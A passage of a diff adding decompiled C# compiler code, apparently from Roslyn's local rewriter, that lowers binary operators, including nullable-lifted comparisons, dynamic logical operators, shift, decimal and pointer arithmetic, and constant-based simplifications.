_dynamicFactory.MakeDynamicBinaryOperator(operatorKind, loweredLeft, loweredRight, isCompoundAssignment, type).ToExpression(); + } + if (operatorKind.IsLifted()) + { + return RewriteLiftedBinaryOperator(syntax, operatorKind, loweredLeft, loweredRight, type, method, constrainedToTypeOpt); + } + if (operatorKind.IsUserDefined()) + { + return LowerUserDefinedBinaryOperator(syntax, operatorKind, loweredLeft, loweredRight, type, method, constrainedToTypeOpt); + } + switch (operatorKind.OperatorWithLogical() | operatorKind.OperandTypes()) + { + case BinaryOperatorKind.NullableNullEqual: + case BinaryOperatorKind.NullableNullNotEqual: + return _factory.RewriteNullableNullEquality(syntax, operatorKind, loweredLeft, loweredRight, type); + case BinaryOperatorKind.StringConcatenation: + case BinaryOperatorKind.StringAndObjectConcatenation: + case BinaryOperatorKind.ObjectAndStringConcatenation: + return RewriteStringConcatenation(syntax, operatorKind, loweredLeft, loweredRight, type); + case BinaryOperatorKind.StringEqual: + return RewriteStringEquality(oldNode, syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)9); + case BinaryOperatorKind.StringNotEqual: + return RewriteStringEquality(oldNode, syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)10); + case BinaryOperatorKind.DelegateCombination: + return RewriteDelegateOperation(syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)17); + case BinaryOperatorKind.DelegateRemoval: + return RewriteDelegateOperation(syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)18); + case BinaryOperatorKind.DelegateEqual: + return RewriteDelegateOperation(syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)19); + case BinaryOperatorKind.DelegateNotEqual: + return RewriteDelegateOperation(syntax, operatorKind, loweredLeft, loweredRight, type, (SpecialMember)20); + case BinaryOperatorKind.LogicalBoolAnd: + if (loweredRight.ConstantValueOpt == ConstantValue.True) + { + return loweredLeft; + } + if (loweredLeft.ConstantValueOpt == ConstantValue.True) + { + return loweredRight; + } + if (loweredLeft.ConstantValueOpt == ConstantValue.False) + { + return loweredLeft; + } + if (loweredRight.Kind == BoundKind.Local || loweredRight.Kind == BoundKind.Parameter) + { + operatorKind &= ~BinaryOperatorKind.Logical; + } + break; + case BinaryOperatorKind.LogicalBoolOr: + if (loweredRight.ConstantValueOpt == ConstantValue.False) + { + return loweredLeft; + } + if (loweredLeft.ConstantValueOpt == ConstantValue.False) + { + return loweredRight; + } + if (loweredLeft.ConstantValueOpt == ConstantValue.True) + { + return loweredLeft; + } + if (loweredRight.Kind == BoundKind.Local || loweredRight.Kind == BoundKind.Parameter) + { + operatorKind &= ~BinaryOperatorKind.Logical; + } + break; + case BinaryOperatorKind.BoolAnd: + if (loweredRight.ConstantValueOpt == ConstantValue.True) + { + return loweredLeft; + } + if (loweredLeft.ConstantValueOpt == ConstantValue.True) + { + return loweredRight; + } + if (loweredLeft.IsDefaultValue()) + { + return _factory.MakeSequence(loweredRight, loweredLeft); + } + if (loweredRight.IsDefaultValue()) + { + return _factory.MakeSequence(loweredLeft, loweredRight); + } + break; + case BinaryOperatorKind.BoolOr: + if (loweredRight.ConstantValueOpt == ConstantValue.False) + { + return loweredLeft; + } + if (loweredLeft.ConstantValueOpt == ConstantValue.False) + { + return loweredRight; + } + break; + case BinaryOperatorKind.BoolEqual: + if (loweredLeft.ConstantValueOpt == ConstantValue.True) + { + return loweredRight; + } + if (loweredRight.ConstantValueOpt == ConstantValue.True) + { + return loweredLeft; + } + if (loweredLeft.ConstantValueOpt == ConstantValue.False) + { + return MakeUnaryOperator(UnaryOperatorKind.BoolLogicalNegation, syntax, null, null, loweredRight, loweredRight.Type); + } + if (loweredRight.ConstantValueOpt == ConstantValue.False) + { + return MakeUnaryOperator(UnaryOperatorKind.BoolLogicalNegation, syntax, null, null, loweredLeft, loweredLeft.Type); + } + break; + case BinaryOperatorKind.BoolNotEqual: + if (loweredLeft.ConstantValueOpt == ConstantValue.False) + { + return loweredRight; + } + if (loweredRight.ConstantValueOpt == ConstantValue.False) + { + return loweredLeft; + } + if (loweredLeft.ConstantValueOpt == ConstantValue.True) + { + return MakeUnaryOperator(UnaryOperatorKind.BoolLogicalNegation, syntax, null, null, loweredRight, loweredRight.Type); + } + if (loweredRight.ConstantValueOpt == ConstantValue.True) + { + return MakeUnaryOperator(UnaryOperatorKind.BoolLogicalNegation, syntax, null, null, loweredLeft, loweredLeft.Type); + } + break; + case BinaryOperatorKind.BoolXor: + if (loweredLeft.ConstantValueOpt == ConstantValue.False) + { + return loweredRight; + } + if (loweredRight.ConstantValueOpt == ConstantValue.False) + { + return loweredLeft; + } + if (loweredLeft.ConstantValueOpt == ConstantValue.True) + { + return MakeUnaryOperator(UnaryOperatorKind.BoolLogicalNegation, syntax, null, null, loweredRight, loweredRight.Type); + } + if (loweredRight.ConstantValueOpt == ConstantValue.True) + { + return MakeUnaryOperator(UnaryOperatorKind.BoolLogicalNegation, syntax, null, null, loweredLeft, loweredLeft.Type); + } + break; + case BinaryOperatorKind.IntLeftShift: + case BinaryOperatorKind.UIntLeftShift: + case BinaryOperatorKind.IntRightShift: + case BinaryOperatorKind.UIntRightShift: + case BinaryOperatorKind.IntUnsignedRightShift: + case BinaryOperatorKind.UIntUnsignedRightShift: + return RewriteBuiltInShiftOperation(oldNode, syntax, operatorKind, loweredLeft, loweredRight, type, 31); + case BinaryOperatorKind.LongLeftShift: + case BinaryOperatorKind.ULongLeftShift: + case BinaryOperatorKind.LongRightShift: + case BinaryOperatorKind.ULongRightShift: + case BinaryOperatorKind.LongUnsignedRightShift: + case BinaryOperatorKind.ULongUnsignedRightShift: + return RewriteBuiltInShiftOperation(oldNode, syntax, operatorKind, loweredLeft, loweredRight, type, 63); + case BinaryOperatorKind.NIntLeftShift: + case BinaryOperatorKind.NUIntLeftShift: + case BinaryOperatorKind.NIntRightShift: + case BinaryOperatorKind.NUIntRightShift: + case BinaryOperatorKind.NIntUnsignedRightShift: + case BinaryOperatorKind.NUIntUnsignedRightShift: + return RewriteBuiltInNativeShiftOperation(oldNode, syntax, operatorKind, loweredLeft, loweredRight, type); + case BinaryOperatorKind.DecimalMultiplication: + case BinaryOperatorKind.DecimalAddition: + case BinaryOperatorKind.DecimalSubtraction: + case BinaryOperatorKind.DecimalDivision: + case BinaryOperatorKind.DecimalRemainder: + case BinaryOperatorKind.DecimalEqual: + case BinaryOperatorKind.DecimalNotEqual: + case BinaryOperatorKind.DecimalGreaterThan: + case BinaryOperatorKind.DecimalLessThan: + case BinaryOperatorKind.DecimalGreaterThanOrEqual: + case BinaryOperatorKind.DecimalLessThanOrEqual: + return RewriteDecimalBinaryOperation(syntax, loweredLeft, loweredRight, operatorKind); + case BinaryOperatorKind.PointerAndIntAddition: + case BinaryOperatorKind.PointerAndUIntAddition: + case BinaryOperatorKind.PointerAndLongAddition: + case BinaryOperatorKind.PointerAndULongAddition: + case BinaryOperatorKind.PointerAndIntSubtraction: + case BinaryOperatorKind.PointerAndUIntSubtraction: + case BinaryOperatorKind.PointerAndLongSubtraction: + case BinaryOperatorKind.PointerAndULongSubtraction: + if (loweredRight.IsDefaultValue()) + { + return loweredLeft; + } + return RewritePointerNumericOperator(syntax, operatorKind, loweredLeft, loweredRight, type, isPointerElementAccess, isLeftPointer: true); + case BinaryOperatorKind.IntAndPointerAddition: + case BinaryOperatorKind.UIntAndPointerAddition: + case BinaryOperatorKind.LongAndPointerAddition: + case BinaryOperatorKind.ULongAndPointerAddition: + if (loweredLeft.IsDefaultValue()) + { + return loweredRight; + } + return RewritePointerNumericOperator(syntax, operatorKind, loweredLeft, loweredRight, type, isPointerElementAccess, isLeftPointer: false); + case BinaryOperatorKind.PointerSubtraction: + return RewritePointerSubtraction(operatorKind, loweredLeft, loweredRight, type); + case BinaryOperatorKind.IntAddition: + case BinaryOperatorKind.UIntAddition: + case BinaryOperatorKind.LongAddition: + case BinaryOperatorKind.ULongAddition: + if (loweredLeft.IsDefaultValue()) + { + return loweredRight; + } + if (loweredRight.IsDefaultValue()) + { + return loweredLeft; + } + break; + case BinaryOperatorKind.IntSubtraction: + case BinaryOperatorKind.UIntSubtraction: + case BinaryOperatorKind.LongSubtraction: + case BinaryOperatorKind.ULongSubtraction: + if (loweredRight.IsDefaultValue()) + { + return loweredLeft; + } + break; + case BinaryOperatorKind.IntMultiplication: + case BinaryOperatorKind.UIntMultiplication: + case BinaryOperatorKind.LongMultiplication: + case BinaryOperatorKind.ULongMultiplication: + { + if (loweredLeft.IsDefaultValue()) + { + return _factory.MakeSequence(loweredRight, loweredLeft); + } + if (loweredRight.IsDefaultValue()) + { + return _factory.MakeSequence(loweredLeft, loweredRight); + } + ConstantValue? constantValueOpt = loweredLeft.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.UInt64Value == 1) + { + return loweredRight; + } + ConstantValue? constantValueOpt2 = loweredRight.ConstantValueOpt; + if (constantValueOpt2 != null && constantValueOpt2.UInt64Value == 1) + { + return loweredLeft; + } + break; + } + case BinaryOperatorKind.IntGreaterThan: + case BinaryOperatorKind.IntLessThanOrEqual: + if (loweredLeft.Kind == BoundKind.ArrayLength && loweredRight.IsDefaultValue()) + { + BinaryOperatorKind binaryOperatorKind2 = ((operatorKind == BinaryOperatorKind.IntGreaterThan) ? BinaryOperatorKind.NotEqual : BinaryOperatorKind.Equal); + operatorKind &= ~BinaryOperatorKind.OpMask; + operatorKind |= binaryOperatorKind2; + loweredLeft = UnconvertArrayLength((BoundArrayLength)loweredLeft); + } + break; + case BinaryOperatorKind.IntLessThan: + case BinaryOperatorKind.IntGreaterThanOrEqual: + if (loweredRight.Kind == BoundKind.ArrayLength && loweredLeft.IsDefaultValue()) + { + BinaryOperatorKind binaryOperatorKind = ((operatorKind == BinaryOperatorKind.IntLessThan) ? BinaryOperatorKind.NotEqual : BinaryOperatorKind.Equal); + operatorKind &= ~BinaryOperatorKind.OpMask; + operatorKind |= binaryOperatorKind; + loweredRight = UnconvertArrayLength((BoundArrayLength)loweredRight); + } + break; + case BinaryOperatorKind.IntEqual: + case BinaryOperatorKind.IntNotEqual: + if (loweredLeft.Kind == BoundKind.ArrayLength && loweredRight.IsDefaultValue()) + { + loweredLeft = UnconvertArrayLength((BoundArrayLength)loweredLeft); + } + else if (loweredRight.Kind == BoundKind.ArrayLength && loweredLeft.IsDefaultValue()) + { + loweredRight = UnconvertArrayLength((BoundArrayLength)loweredRight); + } + break; + case BinaryOperatorKind.Utf8Addition: + throw ExceptionUtilities.UnexpectedValue((object)operatorKind); + } + } + if (oldNode == null) + { + return new BoundBinaryOperator(syntax, operatorKind, null, null, null, LookupResultKind.Viable, loweredLeft, loweredRight, type); + } + return oldNode.Update(operatorKind, oldNode.ConstantValueOpt, oldNode.Method, oldNode.ConstrainedToType, oldNode.ResultKind, loweredLeft, loweredRight, type); + } + + private BoundExpression RewriteLiftedBinaryOperator(SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt) + { + BoundLoweredConditionalAccess boundLoweredConditionalAccess = loweredLeft as BoundLoweredConditionalAccess; + int num; + if (boundLoweredConditionalAccess != null && operatorKind != BinaryOperatorKind.LiftedBoolOr && operatorKind != BinaryOperatorKind.LiftedBoolAnd && !ReadIsSideeffecting(loweredRight)) + { + if (boundLoweredConditionalAccess.WhenNullOpt != null) + { + num = (boundLoweredConditionalAccess.WhenNullOpt.IsDefaultValue() ? 1 : 0); + if (num == 0) + { + goto IL_0047; + } + } + else + { + num = 1; + } + loweredLeft = boundLoweredConditionalAccess.WhenNotNull; + } + else + { + num = 0; + } + goto IL_0047; + IL_0047: + BoundExpression boundExpression = ((!operatorKind.IsComparison()) ? LowerLiftedBinaryArithmeticOperator(syntax, operatorKind, loweredLeft, loweredRight, type, method, constrainedToTypeOpt) : (operatorKind.IsUserDefined() ? LowerLiftedUserDefinedComparisonOperator(syntax, operatorKind, loweredLeft, loweredRight, method, constrainedToTypeOpt) : LowerLiftedBuiltInComparisonOperator(syntax, operatorKind, loweredLeft, loweredRight))); + if (num != 0) + { + BoundExpression whenNullOpt = null; + if (operatorKind.Operator() == BinaryOperatorKind.NotEqual || operatorKind.Operator() == BinaryOperatorKind.Equal) + { + whenNullOpt = RewriteLiftedBinaryOperator(syntax, operatorKind, _factory.Default(loweredLeft.Type), loweredRight, type, method, constrainedToTypeOpt); + } + boundExpression = boundLoweredConditionalAccess.Update(boundLoweredConditionalAccess.Receiver, boundLoweredConditionalAccess.HasValueMethodOpt, boundExpression, whenNullOpt, boundLoweredConditionalAccess.Id, boundLoweredConditionalAccess.ForceCopyOfNullableValueType, boundExpression.Type); + } + return boundExpression; + } + + private BoundExpression UnconvertArrayLength(BoundArrayLength arrLength) + { + return arrLength.Update(arrLength.Expression, _factory.SpecialType((SpecialType)22)); + } + + private BoundExpression MakeDynamicLogicalBinaryOperator(SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, MethodSymbol? leftTruthOperator, TypeSymbol? constrainedToTypeOpt, TypeSymbol type, bool isCompoundAssignment, BoundUnaryOperator? applyParentUnaryOperator) + { + bool flag = operatorKind.Operator() == BinaryOperatorKind.And; + UnaryOperatorKind unaryOperatorKind = (flag ? UnaryOperatorKind.DynamicFalse : UnaryOperatorKind.DynamicTrue); + ConstantValue val = loweredLeft.ConstantValueOpt ?? UnboxConstant(loweredLeft); + if ((unaryOperatorKind == UnaryOperatorKind.DynamicFalse && val == ConstantValue.False) || (unaryOperatorKind == UnaryOperatorKind.DynamicTrue && val == ConstantValue.True)) + { + if (applyParentUnaryOperator != null) + { + return _factory.Literal(value: true); + } + return MakeConversionNode(loweredLeft, type, @checked: false); + } + NamedTypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + BoundAssignmentOperator boundAssignmentOperator; + BoundLocal boundLocal; + if (val == (ConstantValue)null && loweredLeft.Kind != BoundKind.Local && loweredLeft.Kind != BoundKind.Parameter) + { + BoundAssignmentOperator store; + BoundExpression boundExpression = (loweredLeft = _factory.StoreToTemp(loweredLeft, out store, (RefKind)0, (SynthesizedLocalKind)(-2))); + boundAssignmentOperator = store; + boundLocal = (BoundLocal)boundExpression; + } + else + { + boundAssignmentOperator = null; + boundLocal = null; + } + BoundExpression boundExpression2 = _dynamicFactory.MakeDynamicBinaryOperator(operatorKind, loweredLeft, loweredRight, isCompoundAssignment, type).ToExpression(); + bool flag2 = (unaryOperatorKind == UnaryOperatorKind.DynamicFalse && val == ConstantValue.True) || (unaryOperatorKind == UnaryOperatorKind.DynamicTrue && val == ConstantValue.False); + BoundExpression boundExpression3; + if (applyParentUnaryOperator != null) + { + boundExpression3 = _dynamicFactory.MakeDynamicUnaryOperator(unaryOperatorKind, boundExpression2, specialType).ToExpression(); + if (!flag2) + { + BoundExpression left = MakeTruthTestForDynamicLogicalOperator(syntax, loweredLeft, specialType, leftTruthOperator, constrainedToTypeOpt, flag); + boundExpression3 = _factory.Binary(BinaryOperatorKind.LogicalOr, specialType, left, boundExpression3); + } + } + else if (flag2) + { + boundExpression3 = boundExpression2; + } + else + { + BoundExpression condition = MakeTruthTestForDynamicLogicalOperator(syntax, loweredLeft, specialType, leftTruthOperator, constrainedToTypeOpt, flag); + BoundExpression consequence = MakeConversionNode(loweredLeft, type, @checked: false); + boundExpression3 = _factory.Conditional(condition, consequence, boundExpression2, type); + } + if (boundAssignmentOperator != null) + { + return _factory.Sequence(ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)boundAssignmentOperator), boundExpression3); + } + return boundExpression3; + } + + private static ConstantValue? UnboxConstant(BoundExpression expression) + { + if (expression.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)expression; + if (boundConversion.ConversionKind == ConversionKind.Boxing) + { + return boundConversion.Operand.ConstantValueOpt; + } + } + return null; + } + + private BoundExpression MakeTruthTestForDynamicLogicalOperator(SyntaxNode syntax, BoundExpression loweredLeft, TypeSymbol boolean, MethodSymbol? leftTruthOperator, TypeSymbol? constrainedToTypeOpt, bool negative) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + if (loweredLeft.HasDynamicType()) + { + return _dynamicFactory.MakeDynamicUnaryOperator(negative ? UnaryOperatorKind.DynamicFalse : UnaryOperatorKind.DynamicTrue, loweredLeft, boolean).ToExpression(); + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(); + Conversion conversion = _compilation.Conversions.ClassifyConversionFromExpression(loweredLeft, boolean, isChecked: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)_diagnostics).Add(loweredLeft.Syntax, useSiteInfo); + if (conversion.IsImplicit) + { + BoundExpression boundExpression = MakeConversionNode(loweredLeft, boolean, @checked: false, acceptFailingConversion: false, markAsChecked: true); + if (negative) + { + return new BoundUnaryOperator(syntax, UnaryOperatorKind.BoolLogicalNegation, boundExpression, null, null, null, LookupResultKind.Viable, boolean) + { + WasCompilerGenerated = true + }; + } + return boundExpression; + } + return BoundCall.Synthesized(syntax, ((object)constrainedToTypeOpt == null) ? null : new BoundTypeExpression(syntax, null, constrainedToTypeOpt), (ThreeState)0, leftTruthOperator, loweredLeft); + } + + private BoundExpression LowerUserDefinedBinaryOperator(SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt) + { + if (operatorKind.IsLifted()) + { + return RewriteLiftedBinaryOperator(syntax, operatorKind, loweredLeft, loweredRight, type, method, constrainedToTypeOpt); + } + return BoundCall.Synthesized(syntax, ((object)constrainedToTypeOpt == null) ? null : new BoundTypeExpression(syntax, null, constrainedToTypeOpt), (ThreeState)0, method, loweredLeft, loweredRight); + } + + private BoundExpression? TrivialLiftedComparisonOperatorOptimizations(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt) + { + bool flag = NullableNeverHasValue(left); + bool flag2 = NullableNeverHasValue(right); + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + if (flag && flag2) + { + return MakeLiteral(syntax, ConstantValue.Create(kind.Operator() == BinaryOperatorKind.Equal), specialType); + } + BoundExpression boundExpression = NullableAlwaysHasValue(left); + BoundExpression boundExpression2 = NullableAlwaysHasValue(right); + if (boundExpression != null && boundExpression2 != null) + { + return MakeBinaryOperator(syntax, kind.Unlifted(), boundExpression, boundExpression2, specialType, method, constrainedToTypeOpt); + } + BinaryOperatorKind binaryOperatorKind = kind.Operator(); + if ((flag && boundExpression2 != null) || (flag2 && boundExpression != null)) + { + BoundExpression boundExpression3 = MakeLiteral(syntax, ConstantValue.Create(binaryOperatorKind == BinaryOperatorKind.NotEqual), specialType); + BoundExpression boundExpression4 = (flag ? boundExpression2 : boundExpression); + if (ReadIsSideeffecting(boundExpression4)) + { + boundExpression3 = new BoundSequence(syntax, ImmutableArray.Empty, ImmutableArray.Create(boundExpression4), boundExpression3, specialType); + } + return boundExpression3; + } + if (flag || flag2) + { + BoundExpression boundExpression5 = (flag ? right : left); + if (binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) + { + BoundExpression boundExpression6 = _factory.MakeNullableHasValue(syntax, boundExpression5); + if (binaryOperatorKind != BinaryOperatorKind.Equal) + { + return boundExpression6; + } + return MakeUnaryOperator(UnaryOperatorKind.BoolLogicalNegation, syntax, null, null, boundExpression6, specialType); + } + BoundExpression boundExpression7 = MakeBooleanConstant(syntax, binaryOperatorKind == BinaryOperatorKind.NotEqual); + return _factory.MakeSequence(boundExpression5, boundExpression7); + } + return null; + } + + private BoundExpression MakeOptimizedGetValueOrDefault(SyntaxNode syntax, BoundExpression expression) + { + if (expression.Type.IsNullableType()) + { + return BoundCall.Synthesized(syntax, expression, (ThreeState)0, UnsafeGetNullableMethod(syntax, expression.Type, (SpecialMember)114)); + } + return expression; + } + + private BoundExpression MakeBooleanConstant(SyntaxNode syntax, bool value) + { + return MakeLiteral(syntax, ConstantValue.Create(value), _compilation.GetSpecialType((SpecialType)7)); + } + + private BoundExpression MakeOptimizedHasValue(SyntaxNode syntax, BoundExpression expression) + { + if (expression.Type.IsNullableType()) + { + return _factory.MakeNullableHasValue(syntax, expression); + } + return MakeBooleanConstant(syntax, value: true); + } + + private BoundExpression MakeNullableHasValue(SyntaxNode syntax, BoundExpression expression) + { + return BoundCall.Synthesized(syntax, expression, (ThreeState)0, UnsafeGetNullableMethod(syntax, expression.Type, (SpecialMember)116)); + } + + private BoundExpression LowerLiftedBuiltInComparisonOperator(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression loweredLeft, BoundExpression loweredRight) + { + BoundExpression boundExpression = TrivialLiftedComparisonOperatorOptimizations(syntax, kind, loweredLeft, loweredRight, null, null); + if (boundExpression != null) + { + return boundExpression; + } + BoundExpression boundExpression2 = NullableAlwaysHasValue(loweredLeft); + BoundExpression boundExpression3 = NullableAlwaysHasValue(loweredRight); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression2 ?? loweredLeft, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = _factory.StoreToTemp(boundExpression3 ?? loweredRight, out store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundExpression loweredLeft2 = MakeOptimizedGetValueOrDefault(syntax, boundLocal); + BoundExpression loweredRight2 = MakeOptimizedGetValueOrDefault(syntax, boundLocal2); + BoundExpression loweredLeft3 = MakeOptimizedHasValue(syntax, boundLocal); + BoundExpression loweredRight3 = MakeOptimizedHasValue(syntax, boundLocal2); + BinaryOperatorKind binaryOperatorKind = kind.Operator(); + BinaryOperatorKind kind2; + BinaryOperatorKind operatorKind; + if (binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) + { + kind2 = BinaryOperatorKind.Equal; + operatorKind = BinaryOperatorKind.BoolEqual; + } + else + { + kind2 = binaryOperatorKind; + operatorKind = BinaryOperatorKind.BoolAnd; + } + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + BoundExpression loweredLeft4 = MakeBinaryOperator(syntax, kind2.WithType(kind.OperandTypes()), loweredLeft2, loweredRight2, specialType, null, null); + BoundExpression loweredRight4 = MakeBinaryOperator(syntax, operatorKind, loweredLeft3, loweredRight3, specialType, null, null); + BoundExpression boundExpression4 = MakeBinaryOperator(syntax, BinaryOperatorKind.BoolAnd, loweredLeft4, loweredRight4, specialType, null, null); + if (binaryOperatorKind == BinaryOperatorKind.NotEqual) + { + boundExpression4 = _factory.Not(boundExpression4); + } + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol, boundLocal2.LocalSymbol), ImmutableArray.Create((BoundExpression)store, (BoundExpression)store2), boundExpression4, specialType); + } + + private BoundExpression LowerLiftedUserDefinedComparisonOperator(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression loweredLeft, BoundExpression loweredRight, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt) + { + BoundExpression boundExpression = TrivialLiftedComparisonOperatorOptimizations(syntax, kind, loweredLeft, loweredRight, method, constrainedToTypeOpt); + if (boundExpression != null) + { + return boundExpression; + } + BoundExpression boundExpression2 = NullableAlwaysHasValue(loweredLeft); + BoundExpression boundExpression3 = NullableAlwaysHasValue(loweredRight); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression2 ?? loweredLeft, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = _factory.StoreToTemp(boundExpression3 ?? loweredRight, out store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundExpression loweredLeft2 = MakeOptimizedGetValueOrDefault(syntax, boundLocal); + BoundExpression loweredRight2 = MakeOptimizedGetValueOrDefault(syntax, boundLocal2); + BoundExpression boundExpression4 = MakeOptimizedHasValue(syntax, boundLocal); + BoundExpression loweredRight3 = MakeOptimizedHasValue(syntax, boundLocal2); + BinaryOperatorKind binaryOperatorKind = kind.Operator(); + BinaryOperatorKind operatorKind = ((binaryOperatorKind != BinaryOperatorKind.Equal && binaryOperatorKind != BinaryOperatorKind.NotEqual) ? BinaryOperatorKind.BoolAnd : BinaryOperatorKind.BoolEqual); + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + BoundExpression rewrittenCondition = MakeBinaryOperator(syntax, operatorKind, boundExpression4, loweredRight3, specialType, null, null); + BoundExpression boundExpression5 = MakeBinaryOperator(syntax, kind.Unlifted(), loweredLeft2, loweredRight2, specialType, method, constrainedToTypeOpt); + BoundExpression rewrittenConsequence = ((binaryOperatorKind != BinaryOperatorKind.Equal && binaryOperatorKind != BinaryOperatorKind.NotEqual) ? boundExpression5 : RewriteConditionalOperator(syntax, boundExpression4, boundExpression5, MakeLiteral(syntax, ConstantValue.Create(binaryOperatorKind == BinaryOperatorKind.Equal), specialType), null, specialType, isRef: false)); + BoundExpression rewrittenAlternative = MakeBooleanConstant(syntax, binaryOperatorKind == BinaryOperatorKind.NotEqual); + BoundExpression value = RewriteConditionalOperator(syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, null, specialType, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol, boundLocal2.LocalSymbol), ImmutableArray.Create((BoundExpression)store, (BoundExpression)store2), value, specialType); + } + + private BoundExpression? TrivialLiftedBinaryArithmeticOptimizations(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, TypeSymbol type, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt) + { + bool num = NullableNeverHasValue(left); + bool flag = NullableNeverHasValue(right); + if (num && flag) + { + return new BoundDefaultExpression(syntax, type); + } + BoundExpression boundExpression = NullableAlwaysHasValue(left); + BoundExpression boundExpression2 = NullableAlwaysHasValue(right); + if (boundExpression != null && boundExpression2 != null) + { + return MakeLiftedBinaryOperatorConsequence(syntax, kind, boundExpression, boundExpression2, type, method, constrainedToTypeOpt); + } + return null; + } + + private BoundExpression MakeLiftedBinaryOperatorConsequence(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, TypeSymbol type, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt) + { + BoundExpression boundExpression = MakeBinaryOperator(syntax, kind.Unlifted(), left, right, type.GetNullableUnderlyingType(), method, constrainedToTypeOpt); + return new BoundObjectCreationExpression(syntax, UnsafeGetNullableMethod(syntax, type, (SpecialMember)117), boundExpression); + } + + private static BoundExpression? OptimizeLiftedArithmeticOperatorOneNull(SyntaxNode syntax, BoundExpression left, BoundExpression right, TypeSymbol type) + { + bool flag = NullableNeverHasValue(left); + bool flag2 = NullableNeverHasValue(right); + if (!(flag || flag2)) + { + return null; + } + BoundExpression boundExpression = (flag ? right : left); + BoundExpression boundExpression2 = NullableAlwaysHasValue(boundExpression) ?? boundExpression; + if (boundExpression2.ConstantValueOpt != (ConstantValue)null) + { + return new BoundDefaultExpression(syntax, type); + } + return new BoundSequence(syntax, ImmutableArray.Empty, ImmutableArray.Create(boundExpression2), new BoundDefaultExpression(syntax, type), type); + } + + private BoundExpression LowerLiftedBinaryArithmeticOperator(SyntaxNode syntax, BinaryOperatorKind kind, BoundExpression loweredLeft, BoundExpression loweredRight, TypeSymbol type, MethodSymbol? method, TypeSymbol? constrainedToTypeOpt) + { + BoundExpression boundExpression = OptimizeLiftedBinaryArithmetic(syntax, kind, loweredLeft, loweredRight, type, method, constrainedToTypeOpt); + if (boundExpression != null) + { + return boundExpression; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + BoundExpression boundExpression2 = NullableAlwaysHasValue(loweredLeft); + BoundExpression boundExpression3 = NullableAlwaysHasValue(loweredRight); + if (boundExpression2 == null) + { + boundExpression2 = loweredLeft; + } + BoundExpression operand = boundExpression2; + operand = CaptureExpressionInTempIfNeeded(operand, instance, instance2, (SynthesizedLocalKind)(-2)); + BoundExpression operand2 = boundExpression3 ?? loweredRight; + operand2 = CaptureExpressionInTempIfNeeded(operand2, instance, instance2, (SynthesizedLocalKind)(-2)); + BoundExpression left = MakeOptimizedGetValueOrDefault(syntax, operand); + BoundExpression right = MakeOptimizedGetValueOrDefault(syntax, operand2); + BoundExpression loweredLeft2 = MakeOptimizedHasValue(syntax, operand); + BoundExpression loweredRight2 = MakeOptimizedHasValue(syntax, operand2); + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + BoundExpression rewrittenCondition = MakeBinaryOperator(syntax, BinaryOperatorKind.BoolAnd, loweredLeft2, loweredRight2, specialType, null, null); + BoundExpression rewrittenConsequence = MakeLiftedBinaryOperatorConsequence(syntax, kind, left, right, type, method, constrainedToTypeOpt); + BoundExpression rewrittenAlternative = new BoundDefaultExpression(syntax, type); + BoundExpression value = RewriteConditionalOperator(syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, null, type, isRef: false); + return new BoundSequence(syntax, instance2.ToImmutableAndFree(), instance.ToImmutableAndFree(), value, type); + } + + private BoundExpression CaptureExpressionInTempIfNeeded(BoundExpression operand, ArrayBuilder sideeffects, ArrayBuilder locals, SynthesizedLocalKind kind = (SynthesizedLocalKind)(-2)) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (CanChangeValueBetweenReads(operand)) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = 